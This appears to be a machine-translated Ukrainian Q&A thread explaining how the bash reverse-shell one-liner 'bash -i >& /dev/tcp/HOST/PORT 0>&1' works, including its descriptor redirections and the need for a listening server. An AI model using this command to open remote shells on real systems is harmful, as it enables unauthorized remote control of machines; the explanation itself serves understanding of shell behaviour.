Відповіді:
Цей фрагмент запускає новий інтерактивний екземпляр bash ( bash -i), на підключенні TCP до вказаного порту вказаного хоста, який створюється протягом тривалості процесу bash. Стандартний вихід і стандартна помилка надсилаються через це з'єднання ( >& /dev/tcp/HOST/PORT), а стандартний вхід зчитується через це з'єднання ( 0>&1- це має бути, 0<&1але 0>&1теж працює).
Переадресація порту не відбувається. Очевидно, якийсь сервер TCP повинен прослуховувати та приймати з'єднання на цьому HOST: PORT, і брандмауер повинен пропускати з'єднання.
/dev/tcp/HOST/PORT? Я припускав, що ви замінили ім'я на HOSTі число на PORT. Інакше ви отримаєте повідомлення про помилку від bash. Оскільки ви не згадали жодного повідомлення про помилку, я припускаю, що ви його не бачили.
0<&1частину. Я читаю це як "take bash stdout ( &1) і передає його в bash stdin ( 0)", що має сенс. Чи можете ви поясніть, як працює ця частина?
0<&1означає підключити все, що зараз відкрито у файлі дескриптора 1, до дескриптора 0. Оскільки попереднє перенаправлення >& /dev/tcp/HOST/PORTпідключило fd 1 (за замовчуванням для переадресації виводу) до /dev/tcp/HOST/PORT, тобто відкрив сокет TCP, це дублює з'єднання TCP з дескриптором 0 файлу (тобто той же сокет тепер також відкритий на fd 0, це відрізняється від 0 </ dev / tcp / HOST / PORT, який би відкрив інший сокет на тому ж сервері).